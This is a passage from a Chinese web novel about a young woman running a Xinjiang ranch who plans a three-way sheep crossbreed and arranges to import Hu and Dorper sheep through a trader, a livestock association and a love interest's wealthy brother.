她不再去看老太太惨白的脸色，招呼着姚晓洁跟自己出门，又笑着跟其他顾客点了点头才往外走。 到了外面后姚新泉恨铁不成钢地看着姚晓洁，“小姑，你性子雷厉风行的怎么就被这么个老太太拿捏了？合着你之前都是花架子？咋啦，咱们老姚家的人好欺负所以你厉害，外面人都厉害，所以你又成泥捏的了？” 姚晓洁嗔了她一眼，又不好意思地低下了头，这不是怕打死老鼠伤了玉瓶吗？ “那个老东西只在意她的大儿子大孙子，当初为了邓建德能卖小姑父一次，现在自然可以接着卖，你们日子安不安生跟她有什么关系？” “行了，知道你俩分不开我也不想多说什么，只是我得提醒你一下，孩子得好好教，若是下次他再敢指着你鼻子说那些不着调的话你就跟我说，咱们老姚家长不出这么不着调的孩子！” “还有，我爸没了，小叔那人读书读的有点一根筋，你以后要有什么你可以跟我说！” 等说完她也没多留，挥挥手就离开了，留姚晓洁一个人在原地抹眼泪。 回去的路上也不知道怎么回事，邮电局的人竟然在修电话线，对此姚新泉只有高兴的，就是不知道是不是高局安排的，毕竟有两个宝贝蛋在自己手上，他总得随时关注的。 在机场候机的师月江深藏功与名。 他出来之后立马就联系了师星野，师星野时隔两个多月终于听到了弟弟的声音激动得不行，知道弟弟要回北京，更是立马让秘书联系了一班刚好要飞北京的飞机，让他能以最快的速度回来。 同时他又托人跟电信局那边的领导联系了，让他们尽快恢复电话线路，他是暂时离开了，虽然现在有很多事情还不确定，但是师月江心里很清楚，他是绝对不允许自己跟姚新泉彻底断联的。 姚新泉只觉得自己出来一趟真是爬雪山过草地啊！到家的时候里面毛衣都湿了！ 匆匆给家里小家伙跟其他牲畜都喂了饭后，她难得蒸了一次米饭，“师月江拿碗筷”，说完后她自己也愣了，随即便笑了一下，拿出一套碗筷吃起饭来。 现在已经三月了，虽然说四月多份也还是有可能会下雪，但是天气已经有转暖的趋势，外面冻得肉之类的该吃的得赶紧吃掉，不然到时候坏了可就可惜了。 第二天一早姚新泉是被电话声吵醒的，她在隔壁房间都听到这边的铃声，“姑奶奶，联系上你可真不容易啊！” 第44章 姚新泉听出是谁了,她打了个哈欠，笑着道，“马老板,一个冬天没见你还是这么急性子啊！” 马强都快愁死了,年前的时候那批羊进了家乡好超市后他乐得不行,自己公司的名头一下就打出去了。 因为这他赶紧联系姚新泉,就想着先把下一年的牛羊都定下来,谁知道这电话怎么都打不通。 他是个急性子,自己专门来了一趟，可惜也只能看着那茫茫的大雪“望雪兴叹”了！ 后来打听到是因为大雪把电话线的杆子压塌了，也不知道什么时候那边会过来维修，所以他基本上每天都打打看,终于,今天终于联系上了。 “姚老板,这不是急着给你送钱吗？” 姚新泉哈哈一笑，“我牧场里现在除了怀孕的母牛也就是一批细毛羊了，你又不做羊毛的生意,能给我送什么钱？” “是这样,我想问一下你今年牧场里要养多少育肥的牛羊呢？我这边都要了！” 姚新泉挑了挑眉，所以是那批牛羊的问题？卖得好？卖得好也不稀奇,自己送出去的这些可没得到一个差评呢！ “我养肯定是要养的,只是现在牧场上雪都还没化,牛羊都放不出去,我不可能现在就买回来的”，现在买那不就是圈养吗？吃得还是去年囤下来的牧草？ 家里倒也不是没有了，只是目前外面雪一点都没化，四月甚至五月都还有可能会下雪,要是一点不留，等下雪了放不出去的时候，那不就傻眼了？ “你什么时候养这看你自己，我算是发现了，你们这种小年轻看起来好像没什么经验，但是养起来可比那些老汉厉害多了！这样说吧，你看咱们要不签个合同，今年你养的牛羊我这边都收了，我给你保证是市场上的最高价，怎么样？” 马强也不是傻子，姚新泉肯定有什么养牛羊的独家办法！ 他打听到了姚新泉的这批羊是从萨哈列那边进的，他辗转联系上了萨哈列，当初萨哈列家里还留了四头羊，过年的时候杀了两头，他跟萨哈列买了20公斤，明明是同一批羊，肉质就是不一样。 他又从萨哈列那边找到了他的上家，也专门去了人家家里，又买了一头羊，同一批的羊，味道还是不一样。 那这能是因为啥？就不是羊本身的问题，是人家养出来的！ 至于到底是因为这片牧场有什么特殊的还是有什么别的原因，他也不去深究，毕竟就算牧场特殊，人家承包下来三十年，他难道还能去插一脚？他可没那个本事养羊。 姚新泉听了这话没忍住挑了挑眉，看来这批牛羊给他带来不少好处嘛！不过想了想到底还是拒绝了，“这样吧，咱们合同就不签了，但我跟你保证，在同等条件下，等牛羊出栏了，我肯定优先卖给你。” 马强做生意人还可以，上次给她的价格绝对算得上是良心了。 她也知道马强肯定是赚了不少，不然不至于这样，可做生意嘛，不就是大家一起赚钱？难道她还能把上下每一条线上的所有钱都赚了？ 有系统以及自己和父母的朋友在，她要真想搞定销售那边也未必不行，但是麻烦，她就想好好开她的牧场，至少现在没想把销售那边打通。 马强跟她打过交道，知道这个小姑娘不是个你缠一缠就能改变心意的人，既然人家已经给了承诺了，那就先这样，大不了到时候常来常往，把关系维护好，谁也别想抢了他的生意！ “姚老板，那你想好今年要养什么羊了吗？有什么要哥帮忙的？” 见他主动提起姚新泉便顺嘴问道，“马老板知道杜泊羊跟湖羊吗？” 马强沉吟了一会儿眉头微微皱了起来，“湖羊我倒是知道，那不是咱们新省本土的羊，是内地那边的，你想养吗？杜泊羊你这真是难倒我了，我一个羊贩子竟然都没听过！” 见他不知道姚新泉也没失望，还挺正常的，湖羊是内地的，杜泊羊那更是国外引进的了，上哪儿听说去？ 只是之前想着他也许做这门儿生意知道一些，现在看来好像也不知道太多。 “是啊，湖羊是内地太湖流域的本地羊，我倒不是想养纯种羊，主要是我想自己繁育新品种羊，你那边有路子能买到好的种公或者适龄母羊吗？” 湖羊是太湖流域的一种绵羊品种，因为它的核心产区在浙江省湖州市，所以这羊叫湖羊。 要说这羊肉多好吃那是真不至于，姚新泉看中它的是湖羊的繁殖能力。 一般情况下母羊怀孕绝大多数都是单胎，双胎的比较少，三胎的那更是没几个。 可湖羊不 一样，湖羊每年可以产两胎，每胎基本都是双羔或者三羔。 同样的饲养条件，时间更短，那这就是钱啊！经济效益不就这样提升上去了？ 但是也有问题，湖羊更习惯南方湿热的气候，适合圈养。但是他们北疆这边除了特殊天气以外还是以放牧为主的，如果只是引进湖羊那可能不太行。 所以就得配种，配其他的以保证能适合本地气候，并且还能提高肉质。 所以姚新泉又盯上了本地的阿勒泰羊跟外国的杜泊羊。 阿勒泰羊那就不用说了，这算是新省比较优良的品种。除了其本身更适应本地气候以外，让姚新泉同样在意的是它的耐粗饲以及抗逆性。 在大雪封山以前姚晓刚他大学教授的爱人给他邮寄了好几本跟牲畜饲养、培育等等相关的书籍。刚好因为楼宇那阵子要去北京出差，所以姚新泉又让他帮自己跑了一趟那边的书店，把跟牲畜饲养有关的书全买了邮寄回来。 一个冬天她至少好好看完了二三十本专业书，笔记都做了好几本，这是她觉得比较好的一种杂交培育方式，即阿勒泰羊、杜泊羊和湖羊的三元杂交培育。 杜泊羊的话，这是一种原产于南非的肉用绵羊，适应干旱气候。这种羊的肌肉发达，耐粗饲，抗病能力强，生长速度也还行，最重要的是肉质还很好。脂肪分布均匀，瘦肉率高，口感也很细嫩，算是国际上肉质比较受认可的羊肉了。 姚新泉目前盯上的市场除了新省本地的之外，其实比起内地市场，她甚至更重视中亚这边。 为什么？因为新省太大了，出国都比去内地近！ 如今交通又没有那么发达，肉类往内地运也很费事儿，成本也高。这成本一高，人家还不如买本地的。 但是如果出口就不一样了，交通成本绝对是会考虑在肉本身的价格内的。 出口的话那肯定还是要对肉的品质有一些要求，所以姚新泉才想着哪怕阿勒泰羊的口感其实不错，但还是有改良的空间。 至于到底用谁的母本谁的父本这个再说，毕竟杜泊羊也不知道搞不搞得到呢，希望能找到杜泊的种公吧！ 怕姚新泉失望影响了两人的合作，马强咬牙，“这样，妹子你先别着急，我去找人问问，那杜泊羊我确实是没招了，湖羊那边我去帮你打听打听！” 姚新泉自然是说了一篮子的好话才挂了电话，挂了电话她也没了睡意，“系统，你那边有杜泊羊的获取渠道吗？” “没有哦！本系统是救助系统，因为只对方圆一百公里范围内的单子进行派单，所以系统提供的其他有效信息也只是方圆一百公里范围内呢！” 行吧，姚新泉有些失望但也能理解，而且她本身也不可能将所有希望寄托在系统身上。 目前比较靠谱的话还是得去找找那位教授，杜泊羊这个品种都是从他那些材料里知道的，想来也许有渠道？ 只是两人非亲非故，姚晓刚的关系都隔了好几道弯儿，贸然找过去让人家帮忙确实也不太合适吧！ 目前她的最优选择是用湖羊的母羊与杜泊羊的公羊进行第一代杂交，让这一代杜湖杂交羊兼具多胎跟增重快、肉质好的特点。 之后再用这一代的杜湖杂交羊与本地阿勒泰羊进行再次杂交，产生三元杂交的后代，期望的是能够综合多胎、增重快以及口感好、抗逆性等特点。 当然了，是期望能有。 姚新泉还挺看中抗逆性这个特点的，要是抗逆性不行，这好不容易培育出来的新品种没两代又回去了，或者往不好的方向去发展，那就亏大了。 阿勒泰羊作为本地羊，它们是经过长期自然选育保留了抗逆相关基因的，在杂交中都有可能发挥作用，作为杂交父本更好，能提升后代的环境适应能力。虽然说目前她没打算用杂交羊再去培育，但还是很看重这项特质的！ 所以她还得找一下优质的阿勒泰种公，这个活儿她没找系统，在喂完牛羊后又去了萨哈列家。 其实本地买牛羊不是一定要到羊贩子家里买的，本地也有大巴扎，就是集市，也是本地的牲畜交易市场，她爸妈之前就是在那边买的。 只是巴扎里的牲畜质量参差不齐，自己想挑的话还得东家买两只、西家买五只，太费时间了。自己一个人经营这个牧场，又有很多想法，哪有时间天天泡在巴扎上买牛羊？而且还不是天天都开！ 另外，看中了还得自己安排运输，太麻烦了！ 萨哈列为人不错，收羊的眼光也不错，从他那边买哪怕比巴扎上贵一些，但是省事儿啊！ 而且如果长期合作的话肯定还是会有一些价格优势的，所以她还是去找萨哈列。 第45章 马强挂了电话之后烦躁地揉了揉头发,马芳芳见状无语得不行，“你那头上本来都没两根毛儿了，可别再折腾你那头发了,咱俩现在站出去看着都不像同辈儿！” 马强翻了个白眼,“你知道个屁！” “行,我不知道屁！谁能有你了解屁啊！你这没联系上人家的时候发愁,这费尽心思好不容易联系上了怎么更愁了？” “人家给我出了个难题啊！现在是我求着人家想买东西,人家能拿捏我,我肯定得想办法给她办成这事儿，但哪有那么好解决呢？” “她让你干什么？”马芳芳好奇了起来，咋就难成这样？ “她想搞点湖羊回来养殖，我到哪给她搞去？”马强生意做得不算特别大,基本上也就在北疆范围内,南疆都很少去,更别说内地那边了！ 距离远不说，吃个饭也费劲儿，到处也找不到清真馆子,他才不乐意去呢！ 可这湖羊就是人家内地的,他缩在北疆到哪找去？ “那你认识的人中有谁有这个路子吗？” 马强叹气，“我这不是正在想呢吗？我估计找私人老板可能难啊！” “你不找私人老板你找谁？难不成你还找人家国家单位？谁理你啊？” 马强一愣,随后眼睛立马亮了起来,他搂住马芳芳便亲了一口,“你这次还真是猜对了！我有点事情要出去一趟,你自己在家吃饭吧！”说完便走了。 马芳芳切了一声继续看电视，她才懒得管他那些事情呢！ 马强提前打了个电话后就跑了一趟市里，白杨见到他笑着锤了他一下，“你啥事情急成这样？电话刚撂下就来了吧？” 马强把自己顺路带来的东西给他放下后寒暄了两句便说明了来意,“你记得之前带我去过的那个畜牧业协会不？” 白杨本来脸上带着笑，听了这话笑便淡了下去，“怎么，之前带你去你不愿意加入，现在怎么又提这个？” 北疆的畜牧业协会才成立没有多久，算是起步阶段，目前主要的会员也就是政府相关部门领导、行业专家以及一些国企的代表。 但如今市面上养殖户不少，而且也有渐多的趋势，他们这个协会想要发展起来必不可少是要加入许多的养殖户代表的。 往大了说，这是对畜牧业市场的改革、技术的推广以及行业协调方面都会产生深远影响，往小了说，一个协会想发展怎么能没有活动经费呢？经费从哪儿来？还不是会员的会费？难不成还指望财政拨款？ 白杨是一家国营兽药企业的员工，他的工作内容就包括了对接行业协会，听到他们在拉新所以他便想到了自己的发小马强，还带着马强去参观过协会。 他想着马强虽然不算是养殖户，但是到底每年手上也要经手那么多的牛羊，也确实该加入协会的。 谁知道他竟然没加入！ 虽然说这事儿对他也没什么影响，但是就是觉得好心被人当成驴肝肺了！ 马强此时也听不好意思的，但是当时他是真觉得他没必要加入啊？不说别的，一年会费500块呢！有这500块干啥不行？ 他尴尬地笑了笑，“嗐，我这不 是当时目光短浅吗？你知道我的，我跟你可不一样，你是正儿八经上学出来的，我就是个野路子是个粗人，我懂什么啊？那我想着我就收羊卖羊，这协会啥样跟我有啥关系？到时候万一再强制我参加什么活动，多麻烦啊！” 白杨哼了一声心里还是不大痛快，但到底已经过去那么久了，他也早都想开了，见他这低三下四的模样倒真起了几分好奇心，“那你这怎么又突然觉得协会又用了？” 马强这人就像他自己说的是个粗人，说话做事都不喜欢兜圈子，所以便把情况大概说了一下，“她是我现在一个特别大的客户，我想跟她把这个销售渠道稳定下来，所以人家提了这个想法，虽然说没要求我必须办成，但我想这不就是个诚意吗？总得想想办法啊！” “你说咱们新省这么大，那么多羊不够她折腾的，她还要往内地去选！那湖羊我也就听过一耳朵，长什么样子我都没见过，我上哪儿给她找去？所以这不就想到你了！” “你跟我可不一样，你是正经国企员工，你人脉多广啊！我记得之前你跟我介绍协会的时候还说了咱这是地方协会，上面还有全国的协会是吗？那咱们各个地方的协会有联系吗？能不能通过他们那边找到合适的种羊呢？” 白杨被他捧得挺高兴的，不过还是道，“这个我只能牵个线，她是办了营业执照的吧？她如果不入协会，那人家肯定不可能用自己的资源帮她找羊，入了协会之后估计还有点儿戏！” “办了办了，那我叫她过来？你看你啥时候有时间还是我们自己去？” 白杨想着送佛送到西，“这样，你明天下午跟她一起过来，我过会儿跟你说要带什么东西，然后带她去入会，之后的事情让她自己跟协会反映，让协会牵头就成！” 马强高声应下，心里美得不行，“那兄弟过会儿咱们出去喝两杯？” 白杨笑着锤了他一拳也没拒绝，马强乐颠颠地出去给姚新泉打了电话，姚新泉没想到原来本地还有这样一个协会，便多问了两句，“是官方性质的还是民间组织啊！” 如今社会上有好多乱七八糟的民间组织都是以各种名义骗钱的，当然也不乏是正经单位，但是那就得细细分辨了。 “具体是民间组织还是政府牵头主导的我就不太清楚了，不过农业、畜牧业的相关部门有参加，好多大学也有参加，我那个朋友是国企的，他不至于犯这种错误！” 姚新泉放心了，赶忙谢了两句，马强笑道，“口头上的道谢就算了，如果真让你养成了，回头可得卖给我啊！” “我都答应了的事情就不会反悔，你这么帮我的忙，我肯定都记在心里的！” 马强心满意足地放下了电话，哼着小曲儿就回了白杨那边，等着跟他约饭。 姚新泉心里也高兴，她赶忙又下山了一趟去了马合木提江家，跟他们夫妻说好了明天得去喂一下家里的牲畜，怀孕母牛的加餐也跟他们说好后又去了县里。 等到了县里姚新泉深深叹了口气，这雪地真是要把人折腾死！ 她找了几家印刷店，最终找了一个能加急明天早晨就出的店印了一波名片，上面把姚家牧场以及自己的姓名电话写了上去，比较简单，但一目了然。 约好明天早晨一大早来拿之后姚新泉又买了点儿鸡蛋这才回去，简直不敢相信，家里的狗狗军团们喜欢吃鸡蛋很正常，但是皮皮也非常喜欢吃！ 可是考虑到如果大量喂食有可能会打乱皮皮本身的膳食平衡所以就算皮皮真的很喜欢吃，姚新泉最多每周就给她一两个切碎的熟鸡蛋。 之前家里两个大人还有那么多动物，鸡蛋消耗得真的很快，必须得进货了。 湖羊有了点眉目，杜泊羊还是个问题啊！ 其实除了杜泊羊以外，还有一些品种她也挺动心的，比如说英国的萨福克羊、荷兰的特克塞尔羊等等，但是目前姚新泉更看好的还是之前提到的三元杂交培育，之后的再看吧！ 姚新泉不知道的是那边终于到了北京被司机接回家里的师月江见到他哥的第一句话是，“哥，你那边有渠道能从南非引进一批杜泊羊吗？目前需要一二十只种公羊，之后能定期引进一些吗？” 师星野？ 弟弟你要不要听一听你半年多没见到哥哥之后第一句话说的是什么？ 兄弟情呢？难道我就不值得你的一句关心吗？ 他张嘴，“家里在南非有生意，引进羊不成问题，只是有些手续免疫之类的得办好了。” 他能怎么办，当然是原谅他啊！ 师星野拉着弟弟转着看了一圈，心里满意了几分，脸上的笑意也浓了些，“不错不错，脸上肉都多了些。都说新省那边又是风沙大又是天寒地冻的，没想到倒还挺养人！” 师月江笑了笑，养人的不是地方，是人。 “你跟那个小姑娘相处了几个月，没有冒犯人家吧？”师星野小心打量着弟弟的神情，他这次回来没带莱尼，那莱尼肯定还是在姚家放着。如果弟弟跟她相处得不愉快，肯定不可能还麻烦人家。 那相处得愉快得话，到底是什么模式的呢？朋友？亦或者别的？ 师月江一下就听出师星野想问什么了，他抿了抿唇，神情有些茫然，“哥，我有点弄不清楚我对她是什么感情，我从离开她的那一秒开始，满脑子都是她。” 师星野…… 他不得不承认自己被他酸到了。 “弟啊，我觉得有些事情还是得你自己去感受，你们聊的来吗？” “很聊得来，我们有无数的共同话题。” “你跟她单独相处会心跳加速吗？” “会，我摸着脉搏也感受过。” “那你对她有占有欲吗？如果在你离开的这段时间她跟其他男人在一起了，或者最终没有跟你在一起，你会痛苦吗？” “我会，我很确定我会！” 看着弟弟的眼神师星野笑了，“弟啊，你要让我说，那我肯定是觉得你是喜欢她或者是爱她的，但是你们两个的事情只能你们自己去想明白。不过有一点我很确定，姚小姐是一位很独立的女孩子，她就算爱你，也不可能为了你来北京。我也很了解你，你如果爱她，你就不会忍心让她为你放弃一切，所以你做好留在新省的准备了吗？” 某一个瞬间师星野是希望他说不的，可是当弟弟很坚定地说出那句我愿意的时候师星野又释然了，长大了的弟弟总有自己的生活的。 第46章 “咱家在南非那边的生意你还没了解过吧？”师星野拉着他坐下又让保姆给他倒了杯牛奶。 “都是你去上学之后的事情了,考虑到那边经济发展情况，所以咱俩在那边的生意主要还是围绕着一些轻工业产品，包括纺织品、电池之类的小家电以及五金产品之类的,看着不起眼,但是都是那边需求最旺盛的行业。未来世界经济发展得会非常迅速,国内市场、国外市场都不能放过。如今大陆这边还有很大的发展余地,南非那边按我的想法是至少先把市场份额占上,所以那边发展的也还可以。” “公司在大陆这边的业务主要是服装、食品、电子产品、车辆制造,你也大了，现在退伍了家里的生意你就算不接手那也得心里有个数。” 师月江觉得不大对，有些疑惑道，“咱俩？” 师星野笑着点头,看向弟 弟的目光很是温和,“家里公司确实是他们打下来的基础,但是在公司最需要发展，急需扩张的时候，他们俩丢下了公司丢下了我们兄弟俩套现出去潇洒,现在咱们还能过上这样的日子靠的是咱们兄弟,不是他们！既然他们抛下了公司，那就不要再想着回来了。” 在两人父母离开之后师星野夙兴夜寐终于将公司撑了起来,那两公婆并不觉得儿子小小一个能做到什么地步,所以在大儿子提出要收购二人手上的股份时,两人毫不迟疑地同意了,只是最终还是留了个心眼儿，两人共同持有将近10%的股份。 “这些年公司因为扩张多次增资，他们曾经的那10%的股份早就被稀释了，如今公司最大的股东就是咱们兄弟,公司上市稀释了股份之后，咱们兄弟俩也还各占30%，怎么不算咱们的公司的？” 他这些年辛辛苦苦不是为了给别人做嫁衣的！那两公婆不是喜欢享受吗？如今手上的那点儿股份的分红已经足够二人吃穿不愁了，别的就不用想了！ 师月江忍不住苦笑，“哥，公司是你撑起来的，所有决策都是你做得，我跟这家公司的联系说起来也只是你弟弟而已，我这股份拿得烫手啊！” “你是我弟弟还不够吗？”师星野靠在沙发上笑着看向对方，“月江，我不想去回忆咱们当初的苦日子，但那时候如果不是你救我，我已经死在那条河里了！别说什么咱们是兄弟你就该救我的话？他们救我了吗？”师星野冷笑一声，当初一家子被下放除了本身出生的问题以外，主要还是因为老头子自己管不住自己的嘴，说了两句抱怨的话，这不就完蛋？ “反正你记着，我的东西就是你的东西，不许跟我争了！” 见师星野瞪眼，师月江再次叹气，“还是搞个代持吧！我不参与公司的管理表面上拿着30%的股份也没太大作用，反而影响你在公司跟在股东会的权利。可以暂时保留我5%的股权，剩下的25%由你代持，或者都转给你也行，这样你手上就有55%的股份了，过半数，做什么都方便！” 师星野想了想倒没拒绝，还颇为感慨地拍了拍师月江的肩膀，“弟弟长大了啊，都会给哥哥分担了！” 师月江无奈一笑，自己都多大了还长大？ 两人又聊了一会儿公司的事情后又说回了姚新泉，“那什么羊的事情我尽快去找人给你办好，把相关检疫手续什么的都给你弄好，你看看还需要我做什么？” 师月江有些不大好意思，“其他的我还是看新泉的意见吧，她有自己的主张，也有自己的想法，未来牧场的发展方向肯定是要尊重她的意见。” 师星野啧啧两声，眼中满是调侃，“你瞧瞧你这模样，还搞不清楚是不是爱情呢！我看这再清楚不过了！你小子要想就赶紧想，我让人查了姚小姐，确实是很优秀的一位女孩子，若是让人捷足先登你就后悔去吧！” 师月江心里一紧，只要想到未来会有别的男人站在她身边，他们会通吃同住，会一起做饭，会一起聊天，会一起给小动物做衣服，会一起度过每一个日日夜夜，师月江便觉得胸口喘不过气来。 曾经在上战场之前，师月江也以为自己无所不能，觉得自己生来不凡，能够拯救许多人，是个大英雄。 可是后来他才知道，其实自己一点用都没有，他阻止不了战争，阻止不了死亡，阻止不了分离。 他从学校从部队学会了许多技能，可是他已经不知道该怎么活着了。 师星野见他神色不对赶忙拍了拍他，“臭小子你别自己吓自己！你既然有这个心那就别跟人家断了联系，你做了什么都要告诉人家，再好好问问，人家女孩子想要什么，咱们这到底是首都，你也能帮着搜罗一下。” 说着说着师星野都叹气，“你也别想了，想个屁啊想！你这模样要不是真喜欢上人家女孩儿了，你大哥把头拧下来给你当球踢！” “大哥”，师月江有些羞愧，“可是”。 “没什么可是的，月江，哥哥不需要你陪，哥哥只要知道你过得好就行”，师星野没忍住从冰箱里翻出来了两瓶啤酒，喝了一口压下了心里的情绪，“你当初去参军那是你的梦想，所以我不拦你。现在你一直说想，我猜你不敢直面这份感情很大一部分原因也是不想把我一个人丢在北京对吗？” 师星野收起了身上的所有温和，看上去凛冽而不可侵犯，“师月江，你小瞧我了，这个公司或者说我的事业从不是我的枷锁，而是我师星野的大名响彻整个世界的第一个踏板而已。我不渴望家庭生活，我也不需要每天下班回来你都乖乖地在家等我，你有你自己的人生。” “你的日子我过不惯，我的生活你也过不来，但只要知道你好好儿的我就安心了。” “如果你跟姚小姐真的能走到一起，将来有了孩子，孩子也愿意接手我这一摊子，你们再把孩子送过来，不也很好？” 师月江沉默了许久最终还是点了点头，“哥，我听你的。” “不是听我的”，师星野纠正他，“你从前不是这样的性格，你要听你自己的，曾经的事情让你跌到了泥潭里，我没有逼着你爬起来，但你既然现在想往上爬，那你就必须爬起来，擦干净身上的污秽，好好过你的人生！师月江，你做得到吗？” 师月江深吸一口气抬起了头，虽然眼眶还是红的，但师星野看出了他的眼神和从前一样了，或者说从新省回来后便已经有了从前的两分模样。 “这才是我弟弟嘛！”师星野大笑两声用力拍了拍他的肩膀，“来，咱们商量商量公司入驻零售行业的事情，先在北京跟新省那边开商场怎么样？还有八七年的时候深圳政府搞了个公开招标出让住房用地的先例，我当时在那边掺了一脚。九零年的时候上海又出台了房改方案，已经开始使用公积金了，这时候入行房地产不算晚。新省那边比较特殊，我也了解过在税收方面是有一些优惠政策的。而且城市化率都不到30%，算是比较低的了。但是那边一样有不少的厂子，人家同样有住房需求。虽然说分房政策还是没有取消，但是在我看来就是迟早的事情。” 师月江也点头，“分房这些政策对职工好，但是对于企业来说负担太大了。或者说不只是分房，国营单位的一些福利政策某种意义上对企业来说都是累赘。现在私营企业遍地开花，人家厂子只用发工资，国营厂又得发工资，又得分房，又得拨款在职工医疗、教育等各方面，开支太大了，利润自然不如私营单位。更别说国营单位本身内部就有许多弊病，估计没两年分房就彻底不用指望了。” 师星野很是赞同，“分不了房，人家职工的住房需求怎么满足？这就是商品化住房的市场啊！如果说自己不好干，这不是还能跟政府或者单位合作建房吗？” 师月江顺着他的思路继续下去，“不止是建房，我在新省转了一大圈，那边的基础设施确实不大行，咱们家之前捐了路，但是只有路也是不够的，如果搭上了政府的车，那咱们可不只建居民楼这么简单了！” “不过问题也有很多，那边经济基础相对薄弱，老百姓的购买力有限。以及会不会有政策波动，还有那边毕竟太远了，交通不发达，电力等配套设施也不足，建设的成本会高很多的。” 师星野没忍住用力揉了揉师月江的头发，“臭小子天天说对这些不感兴趣，我听你讲得不是蛮好的？” “我有开发那边的意向，你如果成了新省的女婿，户籍什么的都迁到当地去，对咱们公司未来的发展肯定有好处！到时候你跟姚小姐在各自的 行业发光发热，我坐在北京数钱，多好！” 师月江翻了个白眼，还是做梦比较快一点。 第47章 师星野很忙,跟他聊完之后就去应酬了，师月江坐在沙发上纠结了一会儿还是拨通了那个号码。 “喂。” 姚新泉晚上没什么事正窝在沙发上翻看小说呢，电话铃声突然响起吓了她一跳。 “喂。” 姚新泉的声音顺着电话传过来后已经有一点变形了,但是师月江还是觉得自己似乎就在她身边一样,目光都柔和了许多。 “新泉,我是师月江,我已经到家了。” 姚新泉挑了挑眉,她轻笑一声,“顺利到达就好，这么晚了找我有事吗？” 师月江目光暗了一下，他缓缓吐出一口气说明来意，“我哥在南非那边有点生意,也有认识的人,所以我托他去南非给你引进杜泊羊。我这边问题不大,主要是你那边，引进国外的动物，得要向自治区农业部那边申请,需要证明咱们引进的杜泊羊符合国内需求并且没有生态风险,这块儿你了解过吗？” 姚新泉眼睛瞬间便亮了起来，“你有引进的渠道？”她当然了解过相关的手续啊！ 如果连这些都没了解的话,她还引进个鬼哦！ 杜泊羊不属于限制类品种,不需要申请进口配额,拿到农业部的审批后,因为她是私营单位，没办法获得进出口权。这也是她为什么想要搭上乌洽会的车的原因！ 现在私营经济虽然已经得到了一定的认可，但是进出口权还是基本需要通过国有外贸公司进行代理，或者与有资质的企业进行合作。 这一点她考虑过了,也已经给农大的教授写过信说明此事，对方也有回信，表示如果她能自己找到引进的渠道，农大会出面引进该批杜泊羊，但是作为条件，姚新泉需得接受农大的学生去实习，姚新泉自然是高兴得不行。 对方也提了，若她实在没办法找到杜泊羊的引进渠道，农大也可以出面联系，但是引进的杜泊羊不会安置到她的牧场里。 毕竟姚新泉的牧场虽然不小，但是这是私营啊！ 按对方的意思，他可以尝试着帮忙申请购买一两头。 姚新泉觉得有一点抠搜…… 她是打算购买最起码100头湖羊母羊的，用杜泊公羊来配种。自然情况下一头杜泊公羊可以配20-30头母羊，如果条件允许，姚新泉还是希望能尽量多两头公羊。 毕竟如果公羊数量太少，就很难避免近亲的问题，那在选育过程中肯定又会增加许多不必要的麻烦。 所以她还是希望能多引进几只，哪怕自己白养着慢慢培育呢？ 所以这相关的政策、手续她都了解过一些，就差羊了。 知道她心里有数师月江便放心了，“那农业部的审批、外贸的手续由你那边办理，南非这边的检疫程序我这边去办理，到时候入境了还得隔离一个月到一个半月。海关申报也由我这边出面去处理，等这批羊到位后我回去找你。” 姚新泉沉默了一会儿后最终还是轻声道，“好”。 师月江心里一喜，加快了语速，声音中是听的出来的焦急，“那你等我，我到时候有话要跟你说。” 姚新泉嗯了一声，两人谁都没有挂电话。 过了一会儿姚新泉才开始说起自己这边引进湖羊的进程，师月江听了之后问，“需要我做什么吗？或者我去当地帮你问问？” “暂时先不需要，我先通过协会了解一下，如果能确定稳定的引进途径也挺好的。毕竟繁育这个事情优缺点都很明显，万一杂交之后稳定性不好，或者需要回交来稳定某种特性，那不免还是要继续引进的”，这也是她没有考虑用杜泊羊冻精，而是直接引进公羊的原因。总不能隔三差五进一批吧？还不够烦呢！ “而且按我目前的推测来看，三元杂交羊可能还是会作为终端商品羊去出售，选育的话还得再看看。” 师月江明白了，两人又聊了一会儿后才挂了电话，看着通话市场姚新泉挑了挑眉，32分钟？好家伙！ 师月江带来的好消息让她晚上睡得很香，嘴角都是带着笑的。 第二天一早马合木提江夫妻来得很早，姚新泉洗漱的时候两人带着他们儿子已经差不多喂好了。 除了点点之外的其他小动物基本都习惯了他们的存在，只有点点，他现在大了一些，不像从前一样扯着嗓子乱叫，但是这小子开始搞埋伏了！ 万幸得是他也没真扑，只是全程盯着人，生怕人家拿了他家一根牧草，看得姚新泉头疼。 这小家伙还没正儿八经上岗就下雪了，虽然冬天也有训练他，但是总觉得他现在不太像一只牧羊犬，反正后面再看吧！ 姚新泉刚下山就看到马强站在摩托车边上搓着手哈气，见到她来之后赶忙招呼她上车，“走走走，我们到车站去，把摩托车停在那儿，我们坐车去！” 等两人辗转到了市里白杨单位的时候已经12点多了，白杨早退了一会儿又请了一下午的假，三人吃了个午饭就去了畜牧业协会。 看得出来白杨确实跟这边人都挺熟悉的，他带着两人在协会里转了一圈，指着墙上的照片给俩人介绍，“你看这张，这是咱们自治区党委书记在自治区协会刚成立的时候去参加活动拍的照。” “这张是农大牵头的一场会议，参会人员不仅包括了政府相关工作人员，还有跟畜牧业相关的国企职工代表。” “这张是咱们市协会刚成立的时候□□跟兵团那边代表过来剪彩的照片。” 像是怕姚新泉担心协会的正规性一样，工作人员尽挑那种有领导在的照片介绍。 姚新泉心下好笑，但确实是放心了不少。 “同志我想问一下，那如果说我这边想引进一批外地的羊，协会可以帮我牵头吗？只要牵头就可以，具体怎么谈，合同怎么签我们肯定是自己协商。” “你是引进做什么呢？繁育还是育肥出售呢？”工作人员问道，如果只是为了育肥，协会应该是不会牵头的。 姚新泉便将自己大概的想法说了一下，工作人员眼睛立马就亮了，她拉着姚新泉就去会长办公室，“咱们协会本身就有繁育良种的工作内容，你说的那羊还有国外进口的，不如你去跟会长聊聊？” 马强跟白杨都有点懵，但还是老实跟在人家身后径直去了会长办公室。 会长赵强见到赵媛媛没好气地瞪了她一眼，这臭丫头当是在家里呢！带着人就往自己办公室闯？ “爸”，赵媛媛吐了吐舌头，神情中满是无辜，“会长，这位同志想加入咱们的会员，但是她想了解一下咱们能不能协助她引进湖羊，她是打算做阿勒泰羊、湖羊和杜泊羊的三元杂交呢！” 赵强一愣，随后便有些惊喜，这不是要什么来什么吗？ 他们协会成立了也有快一年了，目前确实没什么实绩，这说出去也不是太好听。 如果眼前的小姑娘真的能繁育的话，那自己自然是不会拒绝的！ 